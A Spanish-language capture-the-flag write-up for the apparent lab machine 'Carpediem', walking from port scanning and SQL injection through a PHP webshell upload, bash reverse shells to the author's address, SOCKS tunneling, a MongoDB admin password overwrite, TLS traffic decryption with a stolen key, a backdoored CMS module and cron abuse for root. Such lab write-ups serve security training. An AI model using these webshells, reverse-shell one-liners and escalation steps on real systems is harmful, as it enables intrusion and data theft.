Conocimientos

  • Enumeración Web

  • Mass Assigment Attack

  • Creación de formulario para emitir data por POST en HTML

  • Information Disclosure

  • Enumeración de API

  • Abuso de Capabilities

  • Abuso de cifrado SSL (TLS_RSA_WITH_AES_256_CBC_SHA256)

  • Análisis de tráfico de red con Wireshark

  • Abuso de tarea CRON

  • Docker Breakout [CVE-2022-0492] (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.167 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-12 10:03 GMT
Nmap scan report for 10.10.11.167
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.167 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-12 10:04 GMT
Nmap scan report for 10.10.11.167
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 962176f72dc5f04ee0a8dfb4d95e4526 (RSA)
|   256 b16de3fada10b97b9e57535c5bb76006 (ECDSA)
|_  256 6a1696d80529d590bf6b2a0932dc364f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Comming Soon
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que está empleando el servidor web

whatweb http://10.10.11.167
http://10.10.11.167 [200 OK] Bootstrap[4.1.3], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.167], Meta-Author[Pawel Zuchowski], Script[text/javascript], Title[Comming Soon], X-UA-Compatible[ie=edge], nginx[1.18.0]

La página principal se ve así:

Añado el dominio carpediem.htb al /etc/hosts

Busco por subdominios con wfuzz

wfuzz -c -t 200 --hh=2875 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.carpediem.htb" http://carpediem.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://carpediem.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000048:   200        462 L    2174 W     31090 Ch    "portal"                                                                                                                                        

Total time: 7.261601
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 687.0385

Lo añado también al /etc/hosts

Tiene otro contenido

El parámetro ?id es vulnerable a inyección SQL. En total hay 12 columnas. Esta vez utilizo SQLmap para agilizar

Obtengo un hash para el usuario admin

sqlmap --url 'http://portal.carpediem.htb/?p=view_bike&id=98f13708210194c475687be6106a3b84*' -D portal -T users -C username,password --dump --batch -v 0
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:22:53 /2023-02-12/

Database: portal                                                                                                                                                                                                
Table: users
[1 entry]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | b723e511b084ab84b44235d82da572f3 |
+----------+----------------------------------+


[*] ending @ 10:23:07 /2023-02-12/

Pero no se puede crackear

john -w:/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-02-12 10:25) 0g/s 21093Kp/s 21093Kc/s 21093KC/s  filimani..*7¡Vamos!
Session completed. 

En el parámetro ?p, puede llegar a leakear la ruta donde se aloja el servicio web al intentar cargar un archivo local de la máquina junto a un null byte para separar la extensión PHP

Me registro en la web, pero no sin antes interceptar la petición con BurpSuite

Se está apuntando a register a través del parámetro ?f

Produzco en un error, y consigo ver la query que se aplica en MySQL para registrar al usuario

Aplico fuzzing en la ruta /classes en busca de archivos PHP

gobuster dir -u http://portal.carpediem.htb/classes -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://portal.carpediem.htb/classes
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/02/12 10:33:37 Starting gobuster in directory enumeration mode
===============================================================
/Login.php            (Status: 200) [Size: 74]
/Users.php            (Status: 200) [Size: 0]
/Master.php           (Status: 200) [Size: 0]
/Zone.php             (Status: 200) [Size: 0]
Progress: 441037 / 441094 (99.99%)
===============================================================
2023/02/12 10:40:46 Finished
===============================================================

Puedo probar a fuzzear por funciones con el mismo parámetro que utilizaba el Master.php para Users.php

wfuzz -c -t 100 --hh=0 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt 'http://portal.carpediem.htb/classes/Users.php?f=FUZZ'
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://portal.carpediem.htb/classes/Users.php?f=FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000352:   200        0 L      2 W        40 Ch       "upload"    

Espera un formulario de subida de archivos

Creo un archivo index.html básico que se encargue de crear la estructura en un servicio local, para interceptarla con BurpSuite y emitirla al servidor.

<form action="test.php" method="post" enctype="multipart/form-data" target="_blank">
  <p>
    <input type="file" name="upload">
    <input type="submit" value="upload">
  </p>
</form>

Voy a intentar pasarle una webshell en PHP

<?php
  shell_exec($_REQUEST['cmd']);
?>

Ahora el error cambia

Le cambio el nombre a file_upload

Supuestamente se ha subido a una ruta. Puedo ejecutar comandos, pero no veo el output

Tengo conectividad con mi equipo, me mandé un ping y lo recibí

tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:42:14.083760 IP 10.10.11.167 > 10.10.16.7: ICMP echo request, id 678, seq 0, length 64
11:42:14.083857 IP 10.10.16.7 > 10.10.11.167: ICMP echo reply, id 678, seq 0, length 64

Puedo enviarme una reverse shell

curl -s -X GET "portal.carpediem.htb/uploads/1676202000_cmd.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.7/443+0>%261'"

Y la recibo en una sesión en netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.167] 34360
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@3c371615b7aa:/var/www/html/portal/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@3c371615b7aa:/var/www/html/portal/uploads$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
www-data@3c371615b7aa:/var/www/html/portal/uploads$ export TERM=xterm
www-data@3c371615b7aa:/var/www/html/portal/uploads$ export SHELL=bash
www-data@3c371615b7aa:/var/www/html/portal/uploads$ stty rows 55 columns 209

Estoy dentro de un contenedor

www-data@3c371615b7aa:/var/www/html/portal/uploads$ hostname -I
172.17.0.6 

Intrusión Alternativa

Hay una sección donde puedo modificar los datos de mi cuenta (proporcionados previamente en el registro)

Intercepto la petición, y veo parámetros en la data por POST que antes no aparecían

Suponiendo que el login_type=1 es del Administrador, fuerzo a cambiar el mío a ese valor

Aplico fuzzing de directorios desde la raíz y encuentro una sección de administrador, a la que ahora tengo acceso, porque modifiqué mi tipo de usuario

gobuster dir -u http://portal.carpediem.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 150
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://portal.carpediem.htb/
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/02/12 11:06:39 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 330] [--> http://portal.carpediem.htb/uploads/]
/admin                (Status: 301) [Size: 328] [--> http://portal.carpediem.htb/admin/]
/assets               (Status: 301) [Size: 329] [--> http://portal.carpediem.htb/assets/]
/plugins              (Status: 301) [Size: 330] [--> http://portal.carpediem.htb/plugins/]
/classes              (Status: 301) [Size: 330] [--> http://portal.carpediem.htb/classes/]
/dist                 (Status: 301) [Size: 327] [--> http://portal.carpediem.htb/dist/]
/inc                  (Status: 301) [Size: 326] [--> http://portal.carpediem.htb/inc/]
/build                (Status: 301) [Size: 328] [--> http://portal.carpediem.htb/build/]
/libs                 (Status: 301) [Size: 327] [--> http://portal.carpediem.htb/libs/]

Puedo editar datos en una sección de esta página

Al interceptar la petición con BurpSuite, llego a la misma petición que antes

Dentro del contenedor, encuentro credenciales de acceso a la base de datos

www-data@3c371615b7aa:/var/www/html/portal$ cat classes/DBConnection.php
<?php
if(!defined('DB_SERVER')){
    require_once("../initialize.php");
}
class DBConnection{

    private $host = 'mysql';
    private $username = 'portaldb';
    private $password = 'J5tnqsXpyzkK4XNt';
    private $database = 'portal';

...

En el /etc/hosts se referencian varias IPs

www-data@3c371615b7aa:/var/www$ cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.17.0.3	mysql a5004fe641ca
172.17.0.6	3c371615b7aa

Pero por si hay más, subo un binario estático de nmap para aplicar host y port discovering

www-data@3c371615b7aa:/tmp$ ./nmap -p- --min-rate 10000 172.17.0.1-6

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-02-12 12:25 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Host is up (0.00061s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 172.17.0.2
Host is up (0.00056s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
80/tcp  open  http
443/tcp open  https

Nmap scan report for mysql (172.17.0.3)
Host is up (0.00067s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
3306/tcp  open  mysql
33060/tcp open  unknown

Nmap scan report for 172.17.0.4
Host is up (0.00016s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE
27017/tcp open  unknown

Nmap scan report for 172.17.0.5
Host is up (0.00043s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
8118/tcp open  unknown

Nmap scan report for 3c371615b7aa (172.17.0.6)
Host is up (0.000076s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 6 IP addresses (6 hosts up) scanned in 22.34 seconds

Subo el chisel para montarme un tunel por SOCKS5 y tener acceso a todos los segmentos

En mi equipo creo el servidor

chisel server -p 1234 --reverse
2023/02/12 12:31:55 server: Reverse tunnelling enabled
2023/02/12 12:31:55 server: Fingerprint Zdt8Jmk9PKjlUxg++CD3GFZPqvyPSOCZtxBtA72wTwY=
2023/02/12 12:31:55 server: Listening on http://0.0.0.0:1234

En el contenedor me conecto

www-data@3c371615b7aa:/tmp$ wget http://10.10.16.7/chisel
--2023-02-12 12:33:14--  http://10.10.16.7/chisel
Connecting to 10.10.16.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3107968 (3.0M) [application/octet-stream]
Saving to: 'chisel'

chisel                                               100%[===================================================================================================================>]   2.96M   696KB/s    in 4.4s    

2023-02-12 12:33:19 (696 KB/s) - 'chisel' saved [3107968/3107968]

www-data@3c371615b7aa:/tmp$ chmod +x chisel
www-data@3c371615b7aa:/tmp$ ./chisel client 10.10.16.7:1234 R:socks &>/dev/null & disown
[1] 3159

El MySQL ya lo había enumerado a través de la inyección, pero no encontré nada. Sin embargo, hay otra base de datos, pero en MongoDB

 proxychains mongo 172.17.0.4
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
MongoDB shell version v6.0.1
connecting to: mongodb://172.17.0.4:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("3259a2f3-dd2f-4756-a2dd-c90f843cf6f1") }
MongoDB server version: 5.0.6
WARNING: shell and server versions do not match
> 

Puedo listar las bases de datos

> show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
trudesk  0.001GB

La única que tiene algo de contendido es trudesk

> use trudesk
switched to db trudesk
> show collections
accounts
counters
departments
groups
messages
notifications
priorities
role_order
roles
sessions
settings
tags
teams
templates
tickets
tickettypes

En MongoDB existe una forma de buscar por las cuentas existentes

> db.accounts.find()
{ "_id" : ObjectId("623c8b20855cc5001a8ba13c"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "admin", "password" : "$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS", "fullname" : "Robert Frost", "email" : "rfrost@carpediem.htb", "role" : ObjectId("623c8b20855cc5001a8ba138"), "title" : "Sr. Network Engineer", "accessToken" : "22e56ec0b94db029b07365d520213ef6f5d3d2d9", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:30:32.198Z") }
{ "_id" : ObjectId("6243c0be1e0d4d001b0740d4"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jhammond", "email" : "jhammond@carpediem.htb", "password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq", "fullname" : "Jeremy Hammond", "title" : "Sr. Systems Engineer", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "a0833d9a06187dfd00d553bd235dfe83e957fd98", "__v" : 0, "lastOnline" : ISODate("2022-04-01T23:36:55.940Z") }
{ "_id" : ObjectId("6243c28f1e0d4d001b0740d6"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jpardella", "email" : "jpardella@carpediem.htb", "password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK", "fullname" : "Joey Pardella", "title" : "Desktop Support", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "7c0335559073138d82b64ed7b6c3efae427ece85", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:33:20.918Z") }
{ "_id" : ObjectId("6243c3471e0d4d001b0740d7"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "acooke", "email" : "acooke@carpediem.htb", "password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.", "fullname" : "Adeanna Cooke", "title" : "Director - Human Resources", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "9c7ace307a78322f1c09d62aae3815528c3b7547", "__v" : 0, "lastOnline" : ISODate("2022-03-30T14:21:15.212Z") }
{ "_id" : ObjectId("6243c69d1acd1559cdb4019b"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "svc-portal-tickets", "email" : "tickets@carpediem.htb", "password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW", "fullname" : "Portal Tickets", "title" : "", "role" : ObjectId("623c8b20855cc5001a8ba13a"), "accessToken" : "f8691bd2d8d613ec89337b5cd5a98554f8fffcc4", "__v" : 0, "lastOnline" : ISODate("2022-03-30T13:50:02.824Z") }

Tengo varios correos con sus respectivos tokens y contraseñas, que no se pueden crackear.

cat data | grep -oP '".*?"' | tr -d '"' | grep "^\$2b" > hashes
$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS
$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq
$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK
$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.
$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW

En el directorio /var/www/html/portal/classes hay un archivo Trudesk.php

<?php
class TrudeskConnection{

    private $host = 'trudesk.carpediem.htb';
    private $apikey = 'f8691bd2d8d613ec89337b5cd5a98554f8fffcc4';
    private $username = 'svc-portal-tickets';
    private $password = '';
    private $database = '';
    
}
?>

Añado el subdominio al /etc/hosts. Tengo acceso a un nuevo panel de inicio de sesión

Tiene una API

curl -s -X GET 'http://trudesk.carpediem.htb/api' | jq
{
  "supported": [
    "v1",
    "v2"
  ]
}

Como es una aplicación de código abierto, puedo ver las rutas en el código fuente.

Si intento acceder a cualquiera, me pide un API-Token

curl -s -X GET 'http://trudesk.carpediem.htb/api/v1/users' | jq
{
  "error": "Invalid Access Token"
}

Agrego una cabecera con el Access-Token

curl -s -X GET 'http://trudesk.carpediem.htb/api/v1/users' -H "accesstoken: f8691bd2d8d613ec89337b5cd5a98554f8fffcc4" | jq
{
  "success": false,
  "error": "Not Authorized for this API call."
}

Genero un hash en brypt para cambiárselo al usuario admin

python3
Python 3.10.9 (main, Dec  7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import bcrypt
>>> bcrypt.hashpw( b'rubbx', bcrypt.gensalt(rounds=4))
b'$2b$04$HCrXKUzABhUuoOILqEdoH.ToVz7ET3v7B84P1PN9zbO2wCCLa4tgC'

En el MongoDB introduzco la query que lo aplica

> db.accounts.update( {"username" : "admin" }, {$set: {"password": "$2b$04$HCrXKUzABhUuoOILqEdoH.ToVz7ET3v7B84P1PN9zbO2wCCLa4tgC"} });
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })

Dentro de la interfaz se puede ver los tickets creados

Hay una pista CTF en la que hablan sobre una nueva aplicación que está desplegada

Instalo Zoiper en mi equipo para poder escuchar el mensaje. Como contraseña le paso ‘2022’

Me puedo conectar por varios protocolos

Marco el *62 en la aplicación

Tecleo el ‘1’, me pide una contraseña y vuelvo a escribir ‘2022’. Apunto la contraseña:

AuRj4pxq9qPk

Son las credenciales de acceso por SSH para el usuario Horace Flaccus, hflaccus

ssh hflaccus@carpediem.htb
The authenticity of host 'carpediem.htb (10.10.11.167)' can't be established.
ED25519 key fingerprint is SHA256:a73n2+aC9x00tkOE969gEXaHQMZQcHtD3eY2kM1GgW8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'carpediem.htb' (ED25519) to the list of known hosts.
hflaccus@carpediem.htb's password: 

hflaccus@carpediem:~$ 

Puedo visualizar la primera flag

hflaccus@carpediem:~$ cat user.txt 
34b14ce7d0a0f49704067ced950e9e64

Escalada

Busco por capabilities asignadas

hflaccus@carpediem:/$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Con tcpdump puedo interceptar los paquetes

Tengo varias interfaces asignadas

hflaccus@carpediem:/$ ip a | grep "<"
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
5: veth7c9db99@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
7: veth7f12aff@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
9: veth6dc398a@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
11: veth99d0565@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
13: vethee76757@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 

En cuanto a los puertos abiertos, hay 3 internos que son HTTP

State                    Recv-Q                   Send-Q                                     Local Address:Port                                     Peer Address:Port                  Process                   
LISTEN                   0                        511                                              0.0.0.0:80                                            0.0.0.0:*                                               
LISTEN                   0                        4096                                       127.0.0.53%lo:53                                            0.0.0.0:*                                               
LISTEN                   0                        128                                              0.0.0.0:22                                            0.0.0.0:*                                               
LISTEN                   0                        4096                                           127.0.0.1:8000                                          0.0.0.0:*                                               
LISTEN                   0                        4096                                           127.0.0.1:8001                                          0.0.0.0:*                                               
LISTEN                   0                        4096                                           127.0.0.1:8002                                          0.0.0.0:*                                               
LISTEN                   0                        10                                             127.0.0.1:5038                                          0.0.0.0:*                                               
LISTEN                   0                        128                                                 [::]:22                                               [::]:*         

Al tramitar una petición por GET por el puerto 8002, puedo ver un subdominio nuevo, backdrop.carpediem.htb, que añado en mi /etc/hosts

hflaccus@carpediem:/$ curl http://localhost:8002
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Reason: You're speaking plain HTTP to an SSL-enabled server port.<br />
 Instead use the HTTPS scheme to access this URL, please.<br />
</p>
<hr>
<address>Apache/2.4.48 (Ubuntu) Server at backdrop.carpediem.htb Port 80</address>
</body></html>

Hago un Local Port Forwarding para traerme el puerto 8002 a mi equipo

ssh> -L 8002:127.0.0.1:8002
Forwarding port.

Dentro hay un panel de inicio de sesión

No tengo credenciales. Pruebo a efectuar un LFI pero no consigo nada

Puedo capturar tráfico de la red gracias a la capability que vi antes. Pero como es HTTPS los datos no viajan en texto claro. En caso de encuentre la clave privada de la web, lo puedo desencriptar

hflaccus@carpediem:/tmp$ tcpdump -i docker0 -w Captura.cap -v
tcpdump: listening on docker0, link-type EN10MB (Ethernet), capture size 262144 bytes
^C517 packets captured
517 packets received by filter
0 packets dropped by kernel

Lo transfiero a mi equipo para verlo con WireShark. Aunque todavía no tenga el certificado, si que aparece en el flujo TCP que son peticiones contra el CMS del puerto 8002

Se está empleando RSA

Busco en Google sobre este tipo de encriptación concreta

Al no soportar PFS, solo con la clave privada valdría, ya que no se genera una nueva clave por cada sesión. En este artículo está todo detallado

Busco la clave privada desde la raíz

hflaccus@carpediem:/$ find \-name \*key 2>/dev/null | grep backdrop
./etc/ssl/certs/backdrop.carpediem.htb.key

La transfiero a mi equipo para importarla al WireShark, junto a otras dependencias de certificados que se encuentran en ese mismo directorio

hflaccus@carpediem:/etc/ssl/certs$ ls | grep backdrop
backdrop.carpediem.htb.crt
backdrop.carpediem.htb.key

Y obtengo las credenciales en texto claro

Accedo al CMS como Administrador

Dentro hay una sección para instalar módulos

Desde la página oficial de BackDropCMS, descargo un módulo y lo modifico para poder ganar acceso al sistema

Agrego un nuevo archivo PHP

<?php
  shell_exec($_REQUEST['cmd']);
?>

Comprimo todo de nuevo

zip -r ckeditor_blocks.zip ckeditor_blocks
  adding: ckeditor_blocks/ (stored 0%)
  adding: ckeditor_blocks/css/ (stored 0%)
  adding: ckeditor_blocks/css/ckeditor_blocks.css (deflated 63%)
  adding: ckeditor_blocks/cmd.php (stored 0%)
  adding: ckeditor_blocks/plugins/ (stored 0%)
  adding: ckeditor_blocks/plugins/blocks/ (stored 0%)
  adding: ckeditor_blocks/plugins/blocks/plugin.js (deflated 62%)
  adding: ckeditor_blocks/plugins/blocks/icons/ (stored 0%)
  adding: ckeditor_blocks/plugins/blocks/icons/blocks.png (deflated 6%)
  adding: ckeditor_blocks/plugins/blocks/lang/ (stored 0%)
  adding: ckeditor_blocks/plugins/blocks/lang/en.js (deflated 15%)
  adding: ckeditor_blocks/plugins/blocks/dialogs/ (stored 0%)
  adding: ckeditor_blocks/plugins/blocks/dialogs/blocks.js (deflated 57%)
  adding: ckeditor_blocks/ckeditor_blocks.module (deflated 70%)
  adding: ckeditor_blocks/ckeditor_blocks.info (deflated 31%)
  adding: ckeditor_blocks/README.md (deflated 44%)
  adding: ckeditor_blocks/LICENSE.txt (deflated 62%)
  adding: ckeditor_blocks/ckeditor_blocks.api.php (deflated 49%)

Lo instalo en el CMS

Gano acceso al sistema

curl -s -X GET "https://localhost:8002/modules/ckeditor_blocks/cmd.php?cmd='bash+-c'bash+-i>%26+/dev/tcp/10.10.16.7/443+0>%261'" -k
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.167] 52292
bash: cannot set terminal process group (281): Inappropriate ioctl for device
bash: no job control in this shell
www-data@90c7f522b842:/var/www/html/backdrop/modules/ckeditor_blocks$ script /dev/null -c bash
<p/modules/ckeditor_blocks$ script /dev/null -c bash                  
Script started, output log file is '/dev/null'.
www-data@90c7f522b842:/var/www/html/backdrop/modules/ckeditor_blocks$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
<www/html/backdrop/modules/ckeditor_blocks$ reset xterm
<www/html/backdrop/modules/ckeditor_blocks$ export TERM=xterm                
LL=basha@90c7f522b842:/var/www/html/backdrop/modules/ckeditor_blocks$ export SHE 
55 columns 209522b842:/var/www/html/backdrop/modules/ckeditor_blocks$ stty rows  
www-data@90c7f522b842:/var/www/html/backdrop/modules/ckeditor_blocks$ 

Estoy dentro de otro contenedor

www-data@90c7f522b842:/var/www/html/backdrop/modules/ckeditor_blocks$ whoami
www-data
www-data@90c7f522b842:/var/www/html/backdrop/modules/ckeditor_blocks$ hostname -I
172.17.0.2 

Subo el pspy y detecta un script que se ejecuta por el usuario root en el contenedor

2023/02/13 05:53:16 CMD: UID=0    PID=1925   | /bin/bash /opt/heartbeat.sh 
2023/02/13 05:53:16 CMD: UID=0    PID=1926   | /bin/bash /opt/heartbeat.sh 

No tengo capacidad de escritura

#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
	exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
	#something went wrong.  restoring from backup.
	cp /root/index.php /var/www/html/backdrop/index.php
fi

Pero dentro de /var/www/html/backdrop sí, por lo que puedo intentar modificar el index.php para que cuando lo ejecute root me envíe una reverse shell

www-data@90c7f522b842:/var/www$ echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.16.7/443 0>&1' > /tmp/shell.sh
www-data@90c7f522b842:/var/www$ chmod +x /tmp/shell.sh

echo 'system("bash /tmp/shell.sh");' >> index.php 

Gano acceso como root, todavía en el contenedor

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.167] 52852
bash: cannot set terminal process group (2295): Inappropriate ioctl for device
bash: no job control in this shell
root@90c7f522b842:/var/www/html/backdrop# hostname -I
hostname -I
172.17.0.2 
root@90c7f522b842:/var/www/html/backdrop# script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@90c7f522b842:/var/www/html/backdrop# ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
nc -nlvp 443
listening on [any] 443 ...
